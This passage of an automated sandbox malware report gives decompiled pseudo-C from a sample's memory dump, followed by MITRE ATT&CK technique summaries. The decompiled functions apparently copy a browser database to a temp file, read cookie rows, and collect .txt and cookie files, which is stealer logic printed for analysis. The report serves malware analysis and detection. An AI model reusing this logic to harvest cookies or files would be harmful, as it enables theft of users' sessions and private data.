Opcode ID: 3af5df10ce389a5e2d5ae9d4e593ad27b4bf5d482e03de08642c65c0112384e8
Instruction ID: d5977741dff29ca3159e2529203b47571f149468c6583c80daeec89cc516b7cb
Opcode Fuzzy Hash: 3af5df10ce389a5e2d5ae9d4e593ad27b4bf5d482e03de08642c65c0112384e8
Instruction Fuzzy Hash: 69C1EC31A00108AFCB10EF95DC81EDEBBF9EF49305F508576E414B76A1DB39AE098B59

Uniqueness

Uniqueness Score: 100.00%

Function 0040E954, Relevance: 5.3, Strings: 4, Instructions: 297
UNIQUE

C-Code - Quality: 49%

			E0040E954(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				void* _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				intOrPtr _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v352;
				char _v356;
				char _v360;
				char _v364;
				char _v368;
				char _v372;
				char _v376;
				char _v380;
				intOrPtr* _t96;
				intOrPtr* _t114;
				intOrPtr* _t128;
				void* _t130;
				intOrPtr* _t132;
				intOrPtr* _t136;
				intOrPtr* _t144;
				intOrPtr* _t166;
				intOrPtr* _t170;
				void* _t172;
				intOrPtr* _t174;
				void* _t176;
				void* _t179;
				void* _t185;
				void* _t212;
				intOrPtr* _t239;
				void* _t240;
				intOrPtr _t263;
				intOrPtr _t265;
				intOrPtr _t289;
				intOrPtr _t293;
				intOrPtr _t294;
				void* _t295;
				void* _t296;
				void* _t297;
				void* _t299;

				_t291 = __esi;
				_t290 = __edi;
				_t293 = _t294;
				_t240 = 0x2f;
				do {
					_push(0);
					_push(0);
					_t240 = _t240 - 1;
					_t302 = _t240;
				} while (_t240 != 0);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				_t239 =  *0x41b1dc; // 0x41ca30
				 *[fs:eax] = _t294;
				E00403BDC( &_v28);
				 *[fs:eax] = _t294;
				_t96 = E0041B1C4; // 0x41c6c0
				E0040709C( *((intOrPtr*)( *_t96))( *[fs:eax], 0x40eca8, _t293,  *[fs:eax], 0x40ed34, _t293, __edi, __esi, __ebx), _t239,  &_v76, __esi, _t302);
				E00406FDC( &_v80, _t239, __edi, __esi, _t302);
				E00403E78();
				E004078D8(_v8, _t239,  &_v68, _t302);
				E004062FC(L"%TEMP%",  &_v88, _t302);
				E00403E78();
				E004078D8(_v84, _t239,  &_v72, _t302);
				_t114 =  *0x41b44c; // 0x41c6c4
				 *((intOrPtr*)( *_t114))(E00403D98(_v68), E00403D98(_v72), 0xffffffff, _v32, 0x40ed6c, _v88, L".tmp", _v80, _v76);
				E0040377C( &_v92, _v72);
				E00404B58(_v92, _t239, _t240,  &_v36, _t291, _t302);
				E00403D88( &_v96, _v36);
				if(E0040776C(_v96, _t239, _t240) != 0) {
					_t128 =  *0x41b140; // 0x41ca20
					_t130 =  *((intOrPtr*)( *_t128))(E00403990(_v36),  &_v16);
					_t295 = _t294 + 8;
					__eflags = _t130;
					if(_t130 == 0) {
						_t166 =  *0x41b448; // 0x41c810
						_t170 =  *0x41b2d4; // 0x41ca28
						_t172 =  *((intOrPtr*)( *_t170))(_v16, E00403990( *_t166), 0xffffffff,  &_v20,  &_v24);
						_t296 = _t295 + 0x14;
						__eflags = _t172;
						if(_t172 == 0) {
							while(1) {
								_t174 =  *0x41b384; // 0x41ca2c
								_t176 =  *((intOrPtr*)( *_t174))(_v20);
								__eflags = _t176 - 0x64;
								if(_t176 != 0x64) {
									goto L15;
								}
								_t179 =  *((intOrPtr*)( *_t239))(_v20, 0);
								_t297 = _t296 + 8;
								E004036DC( &_v40, _t179);
								E0040357C( &_v44, 0x40ed78);
								_t185 = E00403790(_v40);
								__eflags = _t185;
								if(_t185 > 0) {
									__eflags =  *_v40 - 0x2e;
									if( *_v40 == 0x2e) {
										E0040357C( &_v44, 0x40ed88);
									}
								}
								E004036DC( &_v48,  *((intOrPtr*)( *_t239))(_v20, 1));
								 *((intOrPtr*)( *_t239))(_v20, 2);
								_t299 = _t297 + 0x10;
								E00402A5C();
								__eflags = 1;
								E00402870( &_v352, 1, 0x40ed90);
								if(__eflags != 0) {
									E0040357C( &_v52, 0x40ed88);
								} else {
									E0040357C( &_v52, 0x40ed78);
								}
								E004036DC( &_v56,  *((intOrPtr*)( *_t239))(_v20, 3));
								E004036DC( &_v60,  *((intOrPtr*)( *_t239))(_v20, 4));
								_t212 =  *((intOrPtr*)( *_t239))(_v20, 5);
								_t296 = _t299 + 0x18;
								E004036DC( &_v64, _t212);
								_push(_v28);
								E00403D88( &_v356, _v40);
								_push(_v356);
								_push(E0040ED98);
								E00403D88( &_v360, _v44);
								_push(_v360);
								_push(E0040ED98);
								E00403D88( &_v364, _v48);
								_push(_v364);
								_push(E0040ED98);
								E00403D88( &_v368, _v52);
								_push(_v368);
								_push(E0040ED98);
								E00403D88( &_v372, _v56);
								_push(_v372);
								_push(E0040ED98);
								E00403D88( &_v376, _v60);
								_push(_v376);
								_push(E0040ED98);
								E00403D88( &_v380, _v64);
								_push(_v380);
								_push(E0040EDA0);
								E00403E78();
								E00405194(_v40, _t239, _t290, _t291);
							}
						}
					}
					L15:
					_t132 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t132))(_v20);
					_t136 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t136))(_v16);
					_pop(_t263);
					 *[fs:eax] = _t263;
					E00403C18(_v12, _v28);
					_t144 =  *0x41b3e8; // 0x41c6f4
					 *((intOrPtr*)( *_t144))(E00403D98(_v72));
				} else {
					_pop(_t289);
					 *[fs:eax] = _t289;
				}
				_pop(_t265);
				 *[fs:eax] = _t265;
				_push(E0040ED3B);
				E00403BF4( &_v380, 7);
				E00403BDC( &_v96);
				E004034E4( &_v92);
				E00403BF4( &_v88, 6);
				E00403508( &_v64, 7);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x0040e954
0x0040e954
0x0040e955
0x0040e957
0x0040e95c
0x0040e95c
0x0040e95e
0x0040e960
0x0040e960
0x0040e960
0x0040e966
0x0040e969
0x0040e96f
0x0040e974
0x0040e985
0x0040e98b
0x0040e99b
0x0040e99e
0x0040e9aa
0x0040e9b5
0x0040e9ca
0x0040e9d5
0x0040e9e2
0x0040e9fa
0x0040ea05
0x0040ea1e
0x0040ea25
0x0040ea2d
0x0040ea38
0x0040ea43
0x0040ea52
0x0040ea6e
0x0040ea75
0x0040ea77
0x0040ea7a
0x0040ea7c
0x0040ea8c
0x0040ea9d
0x0040eaa4
0x0040eaa6
0x0040eaa9
0x0040eaab
0x0040ec6b
0x0040ec6f
0x0040ec76
0x0040ec79
0x0040ec7c
0x00000000
0x00000000
0x0040eabe
0x0040eac0
0x0040eac8
0x0040ead5
0x0040eadd
0x0040eae2
0x0040eae4
0x0040eae9
0x0040eaec
0x0040eaf6
0x0040eaf6
0x0040eaec
0x0040eb0d
0x0040eb1a
0x0040eb1c
0x0040eb27
0x0040eb3b
0x0040eb3c
0x0040eb41
0x0040eb5a
0x0040eb43
0x0040eb4b
0x0040eb4b
0x0040eb71
0x0040eb88
0x0040eb95
0x0040eb97
0x0040eb9f
0x0040eba4
0x0040ebb0
0x0040ebb5
0x0040ebbb
0x0040ebc9
0x0040ebce
0x0040ebd4
0x0040ebe2
0x0040ebe7
0x0040ebed
0x0040ebfb
0x0040ec00
0x0040ec06
0x0040ec14
0x0040ec19
0x0040ec1f
0x0040ec2d
0x0040ec32
0x0040ec38
0x0040ec46
0x0040ec4b
0x0040ec51
0x0040ec5e
0x0040ec66
0x0040ec66
0x0040ec6b
0x0040eaab
0x0040ec82
0x0040ec86
0x0040ec8d
0x0040ec94
0x0040ec9b
0x0040eca0
0x0040eca3
0x0040ecb8
0x0040ecc6
0x0040eccd
0x0040ea54
0x0040ea56
0x0040ea59
0x0040ea59
0x0040ecd1
0x0040ecd4
0x0040ecd7
0x0040ece7
0x0040ecef
0x0040ecf7
0x0040ed04
0x0040ed11
0x0040ed19
0x0040ed26
0x0040ed33

Strings

.tmp, xrefs: 0040E9BD
FALSE, xrefs: 0040EAD0, 0040EB46
TRUE, xrefs: 0040EAF1, 0040EB55
%TEMP%, xrefs: 0040E9DD

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513$E465E7790
String ID: %TEMP%$.tmp$FALSE$TRUE
API String ID: 2220997-1436660622
Opcode ID: 1f2c1ee7a0933479b358683493437faccd91909f98823e18c7b4e36bab36ab6c
Instruction ID: 8afcdff264313b73bf5db57dee82cdca5b5782de5e669b8854761f8598ddb1f0
Opcode Fuzzy Hash: 1f2c1ee7a0933479b358683493437faccd91909f98823e18c7b4e36bab36ab6c
Instruction Fuzzy Hash: E5B12B31A00109AFDB00EBA5DC82EDEBBF9EF49305F504476F414B72A1DB39AE158B58

Uniqueness

Uniqueness Score: 100.00%

Function 00401A0F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 8
UNIQUE

C-Code - Quality: 64%

			E00401A0F(void* __eax) {
				void* _t1;

				_t1 = __eax;
				if( *0x41c035 != 0) {
					_push("�[0");
					L004011D4();
				}
				_push("�[0");
				L004011DC();
				return _t1;
			}

0x00401a0f
0x004019f3
0x004019f5
0x004019fa
0x004019fa
0x004019ff
0x00401a04
0x00401a09

APIs

RtlLeaveCriticalSection.KERNEL32([0,00401A11,00306428,00000000,00401A0A), ref: 004019FA
RtlDeleteCriticalSection.KERNEL32([0,00401A11,00306428,00000000,00401A0A), ref: 00401A04

Strings

[0, xrefs: 004019F5, 004019FF

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: CriticalSection$DeleteLeave
String ID: [0
API String ID: 794802610-2611421359
Opcode ID: 5a461f287ecde31b88134a9370ce8b4b3d307b8b32b8f1ba659d575e9c5e9e8e
Instruction ID: 81b4cff752923d975dcf0d3a9042c04a3ffadf6b5c06f3fba450d669683ca3a4
Opcode Fuzzy Hash: 5a461f287ecde31b88134a9370ce8b4b3d307b8b32b8f1ba659d575e9c5e9e8e
Instruction Fuzzy Hash: 95B092F91C4262BCD62962A24CE7BE67C830709708FA4047F2580349F28ABE1080D25E

Uniqueness

Uniqueness Score: 100.00%

Function 00410064, Relevance: 5.2, Strings: 4, Instructions: 154
UNIQUE

C-Code - Quality: 45%

			E00410064(intOrPtr* __eax, void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi) {
				signed int _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v612;
				char _v616;
				char _v620;
				intOrPtr _v624;
				char _v628;
				char _v632;
				char _v636;
				intOrPtr _v640;
				char _v644;
				char _v648;
				char _v652;
				signed int _t52;
				signed int _t53;
				intOrPtr* _t65;
				intOrPtr* _t77;
				intOrPtr* _t83;
				intOrPtr* _t95;
				void* _t126;
				void* _t127;
				intOrPtr _t129;
				intOrPtr _t147;
				intOrPtr* _t155;
				char* _t157;
				intOrPtr _t159;
				intOrPtr _t160;

				_t52 = __eax +  *__eax;
				 *_t52 =  *_t52 + _t52;
				_t53 = _t52 | 0x5500000a;
				_t159 = _t160;
				_t129 = 0x50;
				do {
					_push(0);
					_push(0);
					_t129 = _t129 - 1;
				} while (_t129 != 0);
				_t1 =  &_v8;
				 *_t1 = _t129;
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = _t53;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_t157 =  &_v612;
				_t155 =  *0x41b198; // 0x41c6b8
				 *[fs:eax] = _t160;
				E00403E14( &_v616, L"\\*.txt", _v8, 0);
				_t65 = E0041B2D8; // 0x41c6b4
				_t126 =  *((intOrPtr*)( *_t65))(E00403D98(_v616), _t157,  *[fs:eax], 0x4102aa, _t159, __edi, __esi, __ebx, _t129);
				do {
					_push(_v8);
					_push(0x4102d0);
					E00403D6C( &_v628, 0x104, _t157 + 0x2c);
					_push(_v628);
					E00403E78();
					E0040FE00(_v624, _t126,  &_v620, _t155, _t157);
					E00403798( &_v20, _v620);
					_push(_t157);
					_push(_t126);
				} while ( *((intOrPtr*)( *_t155))() != 0);
				_t77 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t77))(_t126);
				E00403E78();
				_t83 = E0041B2D8; // 0x41c6b4
				_t127 =  *((intOrPtr*)( *_t83))(E00403D98(_v632), "kie", L"\\*.coo", _v8, _t157);
				do {
					_push(_v8);
					_push(0x4102d0);
					E00403D6C( &_v644, 0x104, _t157 + 0x2c);
					_push(_v644);
					E00403E78();
					E0040FE00(_v640, _t127,  &_v636, _t155, _t157);
					E00403798( &_v20, _v636);
					_push(_t157);
					_push(_t127);
				} while ( *((intOrPtr*)( *_t155))() != 0);
				_t95 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t95))(_t127);
				if(E00403790(_v20) - 1 > 0) {
					_push(_v16);
					_push(0x4102d0);
					_push(_v12);
					_push(L".txt");
					E00403E78();
					E0040377C( &_v648, _v652);
					E0040E6D4(_v20, _t127, _v648, _t155, _t157);
				}
				_pop(_t147);
				 *[fs:eax] = _t147;
				_push(E004102B1);
				E00403BDC( &_v652);
				E004034E4( &_v648);
				E00403BF4( &_v644, 2);
				E004034E4( &_v636);
				E00403BF4( &_v632, 3);
				E004034E4( &_v620);
				E00403BDC( &_v616);
				E004034E4( &_v20);
				return E00403BF4( &_v16, 3);
			}

0x00410064
0x00410066
0x00410068
0x0041006d
0x00410070
0x00410075
0x00410075
0x00410077
0x00410079
0x00410079
0x0041007d
0x0041007d
0x00410083
0x00410086
0x00410089
0x0041008f
0x00410097
0x0041009f
0x004100a4
0x004100aa
0x004100bb
0x004100cd
0x004100de
0x004100e7
0x004100e9
0x004100e9
0x004100ec
0x004100ff
0x00410104
0x00410115
0x00410126
0x00410134
0x00410139
0x0041013a
0x0041013f
0x00410144
0x0041014b
0x00410166
0x00410177
0x00410180
0x00410182
0x00410182
0x00410185
0x00410198
0x0041019d
0x004101ae
0x004101bf
0x004101cd
0x004101d2
0x004101d3
0x004101d8
0x004101dd
0x004101e4
0x004101ef
0x004101f1
0x004101f4
0x004101f9
0x004101fc
0x0041020c
0x0041021d
0x0041022b
0x0041022b
0x00410232
0x00410235
0x00410238
0x00410243
0x0041024e
0x0041025e
0x00410269
0x00410279
0x00410284
0x0041028f
0x00410297
0x004102a9

Strings

.txt, xrefs: 004101FC
\*.txt, xrefs: 004100C5
kie, xrefs: 00410156
\*.coo, xrefs: 00410151

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513$E465
String ID: .txt$\*.coo$\*.txt$kie
API String ID: 3444935265-3788688631
Opcode ID: 04b0b19a331c3ab17c16ef5aa62f9f2d494a720bc6d00a4ac4c021de2f1be119
Instruction ID: 43533ec3db3b34fa5c05f8e376c9cbc7d7ade51c75d25ad873f5a9529fb270a9
Opcode Fuzzy Hash: 04b0b19a331c3ab17c16ef5aa62f9f2d494a720bc6d00a4ac4c021de2f1be119
Instruction Fuzzy Hash: 1C512E74900119AFDB11EB65CC89ACDBBB8EF48304F5041F7A408B72A1DB78AF858F58

Uniqueness

Uniqueness Score: 100.00%

Function 00410068, Relevance: 5.2, Strings: 4, Instructions: 152
UNIQUE

C-Code - Quality: 44%

			E00410068(signed int __eax, void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi) {
				signed int _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v612;
				char _v616;
				char _v620;
				intOrPtr _v624;
				char _v628;
				char _v632;
				char _v636;
				intOrPtr _v640;
				char _v644;
				char _v648;
				char _v652;
				signed int _t52;
				intOrPtr* _t64;
				intOrPtr* _t76;
				intOrPtr* _t82;
				intOrPtr* _t94;
				void* _t125;
				void* _t126;
				intOrPtr _t128;
				intOrPtr _t146;
				intOrPtr* _t154;
				char* _t156;
				intOrPtr _t158;
				intOrPtr _t159;

				_t52 = __eax | 0x5500000a;
				_t158 = _t159;
				_t128 = 0x50;
				do {
					_push(0);
					_push(0);
					_t128 = _t128 - 1;
				} while (_t128 != 0);
				_t1 =  &_v8;
				 *_t1 = _t128;
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = _t52;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_t156 =  &_v612;
				_t154 =  *0x41b198; // 0x41c6b8
				 *[fs:eax] = _t159;
				E00403E14( &_v616, L"\\*.txt", _v8, 0);
				_t64 = E0041B2D8; // 0x41c6b4
				_t125 =  *((intOrPtr*)( *_t64))(E00403D98(_v616), _t156,  *[fs:eax], 0x4102aa, _t158, __edi, __esi, __ebx, _t128);
				do {
					_push(_v8);
					_push(0x4102d0);
					E00403D6C( &_v628, 0x104, _t156 + 0x2c);
					_push(_v628);
					E00403E78();
					E0040FE00(_v624, _t125,  &_v620, _t154, _t156);
					E00403798( &_v20, _v620);
					_push(_t156);
					_push(_t125);
				} while ( *((intOrPtr*)( *_t154))() != 0);
				_t76 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t76))(_t125);
				E00403E78();
				_t82 = E0041B2D8; // 0x41c6b4
				_t126 =  *((intOrPtr*)( *_t82))(E00403D98(_v632), "kie", L"\\*.coo", _v8, _t156);
				do {
					_push(_v8);
					_push(0x4102d0);
					E00403D6C( &_v644, 0x104, _t156 + 0x2c);
					_push(_v644);
					E00403E78();
					E0040FE00(_v640, _t126,  &_v636, _t154, _t156);
					E00403798( &_v20, _v636);
					_push(_t156);
					_push(_t126);
				} while ( *((intOrPtr*)( *_t154))() != 0);
				_t94 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t94))(_t126);
				if(E00403790(_v20) - 1 > 0) {
					_push(_v16);
					_push(0x4102d0);
					_push(_v12);
					_push(L".txt");
					E00403E78();
					E0040377C( &_v648, _v652);
					E0040E6D4(_v20, _t126, _v648, _t154, _t156);
				}
				_pop(_t146);
				 *[fs:eax] = _t146;
				_push(E004102B1);
				E00403BDC( &_v652);
				E004034E4( &_v648);
				E00403BF4( &_v644, 2);
				E004034E4( &_v636);
				E00403BF4( &_v632, 3);
				E004034E4( &_v620);
				E00403BDC( &_v616);
				E004034E4( &_v20);
				return E00403BF4( &_v16, 3);
			}

0x00410068
0x0041006d
0x00410070
0x00410075
0x00410075
0x00410077
0x00410079
0x00410079
0x0041007d
0x0041007d
0x00410083
0x00410086
0x00410089
0x0041008f
0x00410097
0x0041009f
0x004100a4
0x004100aa
0x004100bb
0x004100cd
0x004100de
0x004100e7
0x004100e9
0x004100e9
0x004100ec
0x004100ff
0x00410104
0x00410115
0x00410126
0x00410134
0x00410139
0x0041013a
0x0041013f
0x00410144
0x0041014b
0x00410166
0x00410177
0x00410180
0x00410182
0x00410182
0x00410185
0x00410198
0x0041019d
0x004101ae
0x004101bf
0x004101cd
0x004101d2
0x004101d3
0x004101d8
0x004101dd
0x004101e4
0x004101ef
0x004101f1
0x004101f4
0x004101f9
0x004101fc
0x0041020c
0x0041021d
0x0041022b
0x0041022b
0x00410232
0x00410235
0x00410238
0x00410243
0x0041024e
0x0041025e
0x00410269
0x00410279
0x00410284
0x0041028f
0x00410297
0x004102a9

Strings

.txt, xrefs: 004101FC
\*.txt, xrefs: 004100C5
kie, xrefs: 00410156
\*.coo, xrefs: 00410151

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513$E465
String ID: .txt$\*.coo$\*.txt$kie
API String ID: 3444935265-3788688631
Opcode ID: e6d1289b83efb9c9041fd085353c12afbbe126d4cc90f1062bb9d66f86935cc2
Instruction ID: 088217b2b45cfae069fb35e93e354f581dc1b265aea47ebc8cfafd296fb88eba
Opcode Fuzzy Hash: e6d1289b83efb9c9041fd085353c12afbbe126d4cc90f1062bb9d66f86935cc2
Instruction Fuzzy Hash: 51511F74900119AFDB10EB55CC89ACDBBB8EF48304F5041F7A418B32A1DB79AF858F58

Uniqueness

Uniqueness Score: 100.00%

Function 0041006C, Relevance: 5.2, Strings: 4, Instructions: 152
UNIQUE

C-Code - Quality: 44%

			E0041006C(char __eax, void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v612;
				char _v616;
				char _v620;
				intOrPtr _v624;
				char _v628;
				char _v632;
				char _v636;
				intOrPtr _v640;
				char _v644;
				char _v648;
				char _v652;
				intOrPtr* _t63;
				intOrPtr* _t75;
				intOrPtr* _t81;
				intOrPtr* _t93;
				void* _t124;
				void* _t125;
				intOrPtr _t127;
				intOrPtr _t145;
				intOrPtr* _t153;
				char* _t155;
				intOrPtr _t157;
				intOrPtr _t158;

				_t157 = _t158;
				_t127 = 0x50;
				do {
					_push(0);
					_push(0);
					_t127 = _t127 - 1;
				} while (_t127 != 0);
				_t1 =  &_v8;
				 *_t1 = _t127;
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_t155 =  &_v612;
				_t153 =  *0x41b198; // 0x41c6b8
				 *[fs:eax] = _t158;
				E00403E14( &_v616, L"\\*.txt", _v8, 0);
				_t63 = E0041B2D8; // 0x41c6b4
				_t124 =  *((intOrPtr*)( *_t63))(E00403D98(_v616), _t155,  *[fs:eax], 0x4102aa, _t157, __edi, __esi, __ebx, _t127);
				do {
					_push(_v8);
					_push(0x4102d0);
					E00403D6C( &_v628, 0x104, _t155 + 0x2c);
					_push(_v628);
					E00403E78();
					E0040FE00(_v624, _t124,  &_v620, _t153, _t155);
					E00403798( &_v20, _v620);
					_push(_t155);
					_push(_t124);
				} while ( *((intOrPtr*)( *_t153))() != 0);
				_t75 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t75))(_t124);
				E00403E78();
				_t81 = E0041B2D8; // 0x41c6b4
				_t125 =  *((intOrPtr*)( *_t81))(E00403D98(_v632), "kie", L"\\*.coo", _v8, _t155);
				do {
					_push(_v8);
					_push(0x4102d0);
					E00403D6C( &_v644, 0x104, _t155 + 0x2c);
					_push(_v644);
					E00403E78();
					E0040FE00(_v640, _t125,  &_v636, _t153, _t155);
					E00403798( &_v20, _v636);
					_push(_t155);
					_push(_t125);
				} while ( *((intOrPtr*)( *_t153))() != 0);
				_t93 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t93))(_t125);
				if(E00403790(_v20) - 1 > 0) {
					_push(_v16);
					_push(0x4102d0);
					_push(_v12);
					_push(L".txt");
					E00403E78();
					E0040377C( &_v648, _v652);
					E0040E6D4(_v20, _t125, _v648, _t153, _t155);
				}
				_pop(_t145);
				 *[fs:eax] = _t145;
				_push(E004102B1);
				E00403BDC( &_v652);
				E004034E4( &_v648);
				E00403BF4( &_v644, 2);
				E004034E4( &_v636);
				E00403BF4( &_v632, 3);
				E004034E4( &_v620);
				E00403BDC( &_v616);
				E004034E4( &_v20);
				return E00403BF4( &_v16, 3);
			}

0x0041006d
0x00410070
0x00410075
0x00410075
0x00410077
0x00410079
0x00410079
0x0041007d
0x0041007d
0x00410083
0x00410086
0x00410089
0x0041008f
0x00410097
0x0041009f
0x004100a4
0x004100aa
0x004100bb
0x004100cd
0x004100de
0x004100e7
0x004100e9
0x004100e9
0x004100ec
0x004100ff
0x00410104
0x00410115
0x00410126
0x00410134
0x00410139
0x0041013a
0x0041013f
0x00410144
0x0041014b
0x00410166
0x00410177
0x00410180
0x00410182
0x00410182
0x00410185
0x00410198
0x0041019d
0x004101ae
0x004101bf
0x004101cd
0x004101d2
0x004101d3
0x004101d8
0x004101dd
0x004101e4
0x004101ef
0x004101f1
0x004101f4
0x004101f9
0x004101fc
0x0041020c
0x0041021d
0x0041022b
0x0041022b
0x00410232
0x00410235
0x00410238
0x00410243
0x0041024e
0x0041025e
0x00410269
0x00410279
0x00410284
0x0041028f
0x00410297
0x004102a9

Strings

.txt, xrefs: 004101FC
\*.txt, xrefs: 004100C5
kie, xrefs: 00410156
\*.coo, xrefs: 00410151

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513$E465
String ID: .txt$\*.coo$\*.txt$kie
API String ID: 3444935265-3788688631
Opcode ID: 09c4e75ac99ba9096298edce36361ff39c149cb04836d2fb642bc94ba04a8eb0
Instruction ID: c1e5f67070ab417d913f5f98aba4e89ff4865fb3eb571cca3b9f1abb1d0943da
Opcode Fuzzy Hash: 09c4e75ac99ba9096298edce36361ff39c149cb04836d2fb642bc94ba04a8eb0
Instruction Fuzzy Hash: 0D512E74900119AFDB10EB65CC89ACDBBB8EF48304F5041F7A418B32A1DB78AF858F58

Uniqueness

Uniqueness Score: 100.00%

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Data loss prevention, File monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as Remote Desktop Protocol , instead of through a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command , or other potentially difficult to monitor interactions.
Tactics:	Execution
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items . This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, `/Library/StartupItems` isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), `StartupParameters.plist` , reside in the top-level directory.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process Monitoring
Platforms:	macOS
Url:	Open detailed description by Mitre

Description:	Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process Monitoring, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.
Tactics:	Defense Evasion
Data Sources:	API monitoring, Anti-virus, File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process Monitoring, Process command-line parameters, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.
Tactics:	Credential Access
Data Sources:	Authentication logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

